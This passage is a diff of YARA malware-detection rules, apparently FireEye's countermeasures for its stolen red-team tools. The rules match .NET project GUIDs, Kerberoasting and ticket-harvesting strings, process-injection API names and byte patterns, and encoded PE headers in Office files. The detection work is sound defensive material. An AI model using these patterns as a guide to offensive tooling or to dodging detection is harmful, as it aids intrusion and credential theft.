FIREEYE_RT_Loader_MSIL_Netshshellcoderunner_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdns' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NetshShellCodeRunner' project." author = "FireEye" - id = "db6b45be-f42f-5d0f-b50a-32e7a2cbfce6" + id = "b3521812-7ea3-5f80-89bd-3bdd71b687f2" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDNS_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETSHSHELLCODERUNNER/production/yara/Loader_MSIL_NetshShellCodeRunner_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "bab36f9b1532c3b24c2aea2907006820ed7cf1c90dae7a8138962e14ac9eff55" + logic_hash = "97f6475a9d42697f633e06a9b04a85021ca4920145eb4af257d71b431448f0e9" score = 75 quality = 73 tags = "FILE" rev = 2 strings: - $typelibguid0 = "d888cec8-7562-40e9-9c76-2bb9e43bb634" ascii nocase wide + $typelibguid0 = "49c045bc-59bb-4a00-85c3-4beb59b2ee12" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_MODIFIEDSHARPVIEW_1 : FILE +rule FIREEYE_RT_Builder_MSIL_Sinfuloffice_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'modifiedsharpview' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SinfulOffice' project." author = "FireEye" - id = "e07d3d4b-fba3-5df7-85f4-927bb8cec2d1" + id = "cf020fb3-751b-5346-8c0d-dc0a552599a3" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_MODIFIEDSHARPVIEW_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/production/yara/Builder_MSIL_SinfulOffice_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "db0eaad52465d5a2b86fdd6a6aa869a5" - logic_hash = "a47c48da998243fab92665649fb9d6ecc6ac32e1fd884c2c0d5ccecb05290c10" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "b5d49a8720e4daa21e95ec66299daec42e65906017de886ea91f7bb6bfb04c77" score = 75 quality = 73 tags = "FILE" - rev = 3 + rev = 1 strings: - $typelibguid0 = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii nocase wide + $typelibguid0 = "9940e18f-e3c7-450f-801a-07dd534ccb9a" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_DNSOVERHTTPS_C2_1 : FILE +rule FIREEYE_RT_Methodology_OLE_CHARENCODING_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'DoHC2' External C2 project." + description = "Looking for suspicious char encoding" author = "FireEye" - id = "ee71be6c-e3c8-5365-9f32-157f00066c49" + id = "7abd1a11-7a55-50ac-aa6b-537e7c59a5ab" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_DNSOVERHTTPS_C2_1.yar#L4-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/supplemental/yara/Methodology_OLE_CHARENCODING_2.yar#L4-L23" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "a482161bbd8e249977f28466ff1381d4693495f8b8ccd9183ae4fde1ec1471eb" - score = 75 - quality = 71 + hash = "41b70737fa8dda75d5e95c82699c2e9b" + logic_hash = "20843295531dfd88934fe0902a5101c5c0828e82df3289d7f263f16df9c92324" + score = 65 + quality = 75 tags = "FILE" - rev = 2 + rev = 4 strings: - $typelibguid0 = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii nocase wide - $typelibguid1 = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii nocase wide + $echo1 = "101;99;104;111;32;111;102;102;" ascii wide + $echo2 = "101:99:104:111:32:111:102:102:" ascii wide + $echo3 = "101x99x104x111x32x111x102x102x" ascii wide + $pe1 = "77;90;144;" ascii wide + $pe2 = "77:90:144:" ascii wide + $pe3 = "77x90x144x" ascii wide + $pk1 = "80;75;3;4;" ascii wide + $pk2 = "80:75:3:4:" ascii wide + $pk3 = "80x75x3x4x" ascii wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint32( 0 ) == 0xe011cfd0 ) and filesize < 10MB and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPZIPLIBZIPPER_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSACK_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpziplibzipper' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsack' project." author = "FireEye" - id = "392a52be-29ae-58e1-b517-1ab34a1e1fb8" + id = "8e344acb-73c4-5509-be9d-85cf6fe94445" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPZIPLIBZIPPER_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSACK/production/yara/APT_HackTool_MSIL_SHARPSACK_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "19354edb91a0d79fdf79437f7247bcf155514db40340af91a3320b556dc2e4c2" + logic_hash = "ecc3250e65e34595b4b827add3eb3062edad6a3373930048bfd6225d4a229e93" score = 75 quality = 73 tags = "FILE" - rev = 3 + rev = 2 strings: - $typelibguid0 = "485ba350-59c4-4932-a4c1-c96ffec511ef" ascii nocase wide + $typelibguid0 = "1946808a-1a01-40c5-947b-8b4c3377f742" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Credtheft_MSIL_Credsnatcher_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CredSnatcher' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "0d8f7495-4748-577d-8ef2-ccc4829fc165" - date = "2020-12-08" + id = "ce39710e-7649-5f7d-bbbe-65dc30f678e8" + date = "2020-12-04" + date = "2020-12-04" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_CredSnatcher_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_2.yar#L4-L21" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "2c86be1bcf29bcb2c167f9248dee0ab4a5a5c6740fb1f18784ee2e380176df91" + hash = "11b5aceb428c3e8c61ed24a8ca50553e" + logic_hash = "872ab717668375a49d6c7b1927a680747b405c0198fe4fc6f43ccc562870eb37" score = 75 - quality = 73 + quality = 75 tags = "FILE" rev = 1 strings: - $typelibguid0 = "370b4d21-09d0-433f-b7e4-4ebdd79948ec" ascii nocase wide + $s1 = "\x00Asktgt\x00" + $s2 = "\x00Kerberoast\x00" + $s3 = "\x00HarvestCommand\x00" + $s4 = "\x00EnumerateTickets\x00" + $s5 = "[*] Action: " wide + $s6 = "\x00Fluffy.Commands\x00" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPPATCHCHECK_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharppatchcheck' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "dedc12b9-b9e7-5c13-ad6d-2e286aba2302" - date = "2020-12-08" + id = "6593202d-9b30-59ed-98c0-3e730fb5ceb7" + date = "2020-12-04" + date = "2020-12-04" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPPATCHCHECK_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "dec6231b656eed1526d4f70fe1b9a476bfb06246f0a7c25f2687d8c68886d400" + hash = "11b5aceb428c3e8c61ed24a8ca50553e" + logic_hash = "4d91c96ab7b628e88f79ee193612acc959448fe2220ef54371f5f5c6e7305d86" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 2 + rev = 1 strings: - $typelibguid0 = "528b8df5-6e5e-4f3b-b617-ac35ed2f8975" ascii nocase wide + $sb1 = { 0E ?? 1? 72 [4] 28 [2] 00 06 [0-16] 28 [2] 00 0A [2-80] 1F 58 0? [0-32] 28 [2] 00 06 [2-32] 1? 28 [2] 00 06 0? 0? 6F [2] 00 06 [2-4] 1F 0B } + $sb2 = { 73 [2] 00 06 13 ?? 11 ?? 11 ?? 7D [2] 00 04 11 ?? 73 [2] 00 0A 7D [2] 00 04 0E ?? 2D ?? 11 ?? 7B [2] 00 04 72 [4] 28 [2] 00 0A [2-32] 0? 28 [2] 00 0A [2-16] 11 ?? 7B [2] 00 04 0? 28 [2] 00 0A 1? 28 [2] 00 0A [2-32] 7E [2] 00 0A [0-32] FE 15 [2] 00 02 [0-16] 7D [2] 00 04 28 [2] 00 06 [2-32] 7B [2] 00 04 7D [2] 00 04 [2-32] 7C [2] 00 04 FE 15 [2] 00 02 [0-16] 11 ?? 8C [2] 00 02 28 [2] 00 0A 28 [2] 00 0A [2-80] 8C [2] 00 02 28 [2] 00 0A 12 ?? 12 ?? 12 ?? 28 [2] 00 06 } + $ss1 = "\x00Fluffy\x00" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_PRAT_1 : FILE +rule FIREEYE_RT_Loader_MSIL_Netassemblyinject_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'prat' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NET-Assembly-Inject' project." author = "FireEye" - id = "4a876eb0-ed2f-5ef2-a9b3-ba728b07c8c0" + id = "62a7dc4c-678b-5f13-9661-4679eafe1c72" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_PRAT_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETASSEMBLYINJECT/production/yara/Loader_MSIL_NETAssemblyInject_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "d707f017b56b0a873f1edca085ad40fc70cb24e8c9844f377bc28871a941d0b4" + logic_hash = "9a43df9ee26a44f4db5c2d22fbc1a6c86c5af0c9d44a79c6627a4cc8cf31bb8d" score = 75 - quality = 67 + quality = 69 tags = "FILE" - rev = 3 + rev = 2 strings: - $typelibguid0 = "7d1219fb-a954-49a7-96c9-df9e6429a8c7" ascii nocase wide - $typelibguid1 = "bc1157c2-aa6d-46f8-8d73-068fc08a6706" ascii nocase wide - $typelibguid2 = "c602fae2-b831-41e2-b5f8-d4df6e3255df" ascii nocase wide - $typelibguid3 = "dfaa0b7d-6184-4a9a-9eeb-c08622d15801" ascii nocase wide + $typelibguid0 = "af09c8c3-b271-4c6c-8f48-d5f0e1d1cac6" ascii nocase wide + $typelibguid1 = "c5e56650-dfb0-4cd9-8d06-51defdad5da1" ascii nocase wide + $typelibguid2 = "e8fa7329-8074-4675-9588-d73f88a8b5b6" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNFS_1 : FILE +rule FIREEYE_RT_APT_Loader_MSIL_WILDCHILD_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnfs' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "b9d1b4e8-644a-5611-85e8-a124f915b443" - date = "2020-12-08" + id = "b9e0707e-98eb-55da-ad1d-6a84bd113747" + date = "2020-12-01" + date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNFS_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/APT_Loader_MSIL_WILDCHILD_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "e7f9883376b153849970599d9ecc308882eb86a67834cfd8ab06b44539346125" + hash = "6f04a93753ae3ae043203437832363c4" + logic_hash = "a600c3d127f77dc1f99160e4a242e005970de0abd1798296b6a351b968ca1350" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 3 + rev = 1 strings: - $typelibguid0 = "9f67ebe3-fc9b-40f2-8a18-5940cfed44cf" ascii nocase wide + $s1 = "\x00QueueUserAPC\x00" + $s2 = "\x00WriteProcessMemory\x00" + $sb1 = { 6F [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 13 ?? 28 [2] 00 0A 28 [2] 00 0A 13 ?? 11 ?? 11 ?? 28 [2] 00 0A [0-16] 7B [2] 00 04 1? 20 [4] 28 [2] 00 0A 11 ?? 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 [0-16] 14 7E [2] 00 0A 7E [2] 00 0A 1? 20 04 00 08 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 [0-16] 7B [2] 00 04 7E [2] 00 0A [0-16] 8E ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 [4-120] 28 [2] 00 06 [0-80] 6F [2] 00 0A 6F [2] 00 0A 28 [2] 00 06 13 ?? 11 ?? 11 ?? 7E [2] 00 0A 28 [2] 00 06 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Loader_Win_Generic_19 : FILE +rule FIREEYE_RT_Loader_MSIL_Wildchild_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the WildChild project." author = "FireEye" - id = "4f4427ee-0f7d-5442-98a6-402d8b797289" - date = "2020-12-02" - date = "2020-12-02" + id = "350dd658-46c9-573b-b532-07e4b437ba8d" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_Win_Generic_19.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Loader_MSIL_WildChild_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "3fb9341fb11eca439b50121c6f7c59c7" - logic_hash = "6db9696663c19857c1f89339b8cc9b0565e877f34e8d8cf77b89ef22b3f41683" + hash = "7e6bc0ed11c2532b2ae7060327457812" + logic_hash = "e4320e33770613542182518ec787e4ccbb32f83c8afca5ec957d4846e6f4eb04" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 1 + rev = 4 strings: - $s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 } - $s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 } - $si1 = "VirtualProtect" fullword - $si2 = "malloc" fullword + $typelibguid1 = "2e71d5ff-ece4-4006-9e98-37bb724a7780" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_Loader_Win_Generic_20 : FILE +rule FIREEYE_RT_Dropper_HTA_Wildchild_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "This rule looks for strings present in unobfuscated HTAs generated by the WildChild builder." author = "FireEye" - id = "d1d3eff8-d12e-53f6-8c30-06ecedaf3f49" - date = "2020-12-02" - date = "2020-12-02" + id = "f570baa5-7d58-5a0a-b713-769e62076f76" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_Win_Generic_20.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Dropper_HTA_WildChild_1.yar#L4-L24" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "5125979110847d35a338caac6bff2aa8" - logic_hash = "9611aed2b4e4278d40254cb5c4fe94a458cfa19f10e6fe888bc7ceb166669cc6" + hash = "3e61ca5057633459e96897f79970a46d" + logic_hash = "60c1d53b8a43b9b7518f3260a4d61c6806641ee894a2a331a3a0a2ea0aff9d99" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 5 strings: - $s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 } - $s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 } - $si1 = "VirtualProtect" fullword - $si2 = "malloc" fullword + $s1 = "processpath" ascii wide + $s2 = "v4.0.30319" ascii wide + $s3 = "v2.0.50727" ascii wide + $s4 = "COMPLUS_Version" ascii wide + $s5 = "FromBase64Transform" ascii wide + $s6 = "MemoryStream" ascii wide + $s7 = "entry_class" ascii wide + $s8 = "DynamicInvoke" ascii wide + $s9 = "Sendoff" ascii wide + $script_header = "<script language=" ascii wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + $script_header at 0 and all of ( $s* ) } -rule FIREEYE_RT_Loader_MSIL_Generic_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_REVOLVER_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'revolver' project." author = "FireEye" - id = "f919e3fc-cf76-53af-8f04-24921830666f" + id = "8fa5adb7-dc66-51bc-9f60-2308515f33a8" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_MSIL_Generic_1.yar#L4-L21" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_HackTool_MSIL_REVOLVER_1.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "b8415b4056c10c15da5bba4826a44ffd" - logic_hash = "06cddd7e1c1c778348539cfd50f01d55f86689dec86c045d7ce7b9cd71690e07" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "8df8a56ed55b7857adb95daa643d544a49eb5f1952b4ad3ef757c34dad2ce317" score = 75 - quality = 75 + quality = 71 tags = "FILE" - rev = 5 + rev = 2 strings: - $MSIL = "_CorExeMain" - $opc1 = { 00 72 [4] 0A 72 [4] 0B 06 28 [4] 0C 12 03 FE 15 [4] 12 04 FE 15 [4] 07 14 } - $str1 = "DllImportAttribute" - $str2 = "FromBase64String" - $str3 = "ResumeThread" - $str4 = "OpenThread" - $str5 = "SuspendThread" - $str6 = "QueueUserAPC" + $typelibguid0 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide + $typelibguid1 = "b214d962-7595-440b-abef-f83ecdb999d2" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and $MSIL and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Builder_Win64_MATRYOSHKA_1 : FILE +rule FIREEYE_RT_FE_APT_Loader_MSIL_REVOLVER_1 : FILE { meta: - description = "matryoshka_pe_to_shellcode.rs" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "0afcf13e-5cd3-5c1c-897e-b6d0c283ab0f" - date = "2020-12-02" - date = "2020-12-02" - modified = "2020-12-09" + id = "d99620e0-39ed-58db-acce-0d885a9e0bf7" + date = "2020-12-18" + modified = "2020-12-18" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Builder_Win64_MATRYOSHKA_1.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_Loader_MSIL_REVOLVER_1.yar#L5-L14" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "8d949c34def898f0f32544e43117c057" - logic_hash = "b370d7dea44bccc92fc8dbd4ea0ee9bec523820108bf8bc67acb17ebf9835f74" + logic_hash = "1231f4c961dec122ebcb142052c2c7c03acf9b556cdb71a3efabde6bcf50a939" score = 75 quality = 75 tags = "FILE" - rev = 1 strings: - $sb1 = { 4D 5A 45 52 [0-32] E8 [0-32] 00 00 00 00 [0-32] 5B 48 83 EB 09 53 48 81 [0-32] C3 [0-32] FF D3 [0-32] C3 } - $ss1 = "\x00Stub Size: " - $ss2 = "\x00Executable Size: " - $ss3 = "\x00[+] Writing out to file" + $inject = { 28 [2] 00 06 0? 0? 7B [2] 00 04 7E [2] 00 0A 28 [2] 00 0A [2-40] 7E [2] 00 0A 0? 20 00 10 00 00 28 [2] 00 0A 0? 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? ?? 20 00 30 00 00 1F 40 28 [2] 00 06 [2-40] 28 [2] 00 0A 1? 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 1? ?? FE 15 [2] 00 02 1? ?? 72 [2] 00 70 28 [2] 00 06 1? ?? FE 15 [2] 00 02 1? ?? 1? ?? 1? 28 [2] 00 06 2? 7E [2] 00 0A 1? ?? 0? 7B [2] 00 04 1? ?? 1? 1? ?? 28 [2] 00 06 2? ?? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-10] 7E [2] 00 0A 1? ?? 1? ?? 20 [2] 1F 00 7E [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? 1? 20 [2] 00 00 20 [2] 00 00 7E [2] 00 0A 28 [2] 00 06 2? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-40] 1? ?? 0? 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 2? ?? 2? 1? 1? ?? 1? ?? 1? ?? 28 [2] 00 06 } + $iz1 = /_Cor(Exe|Dll)Main/ fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( 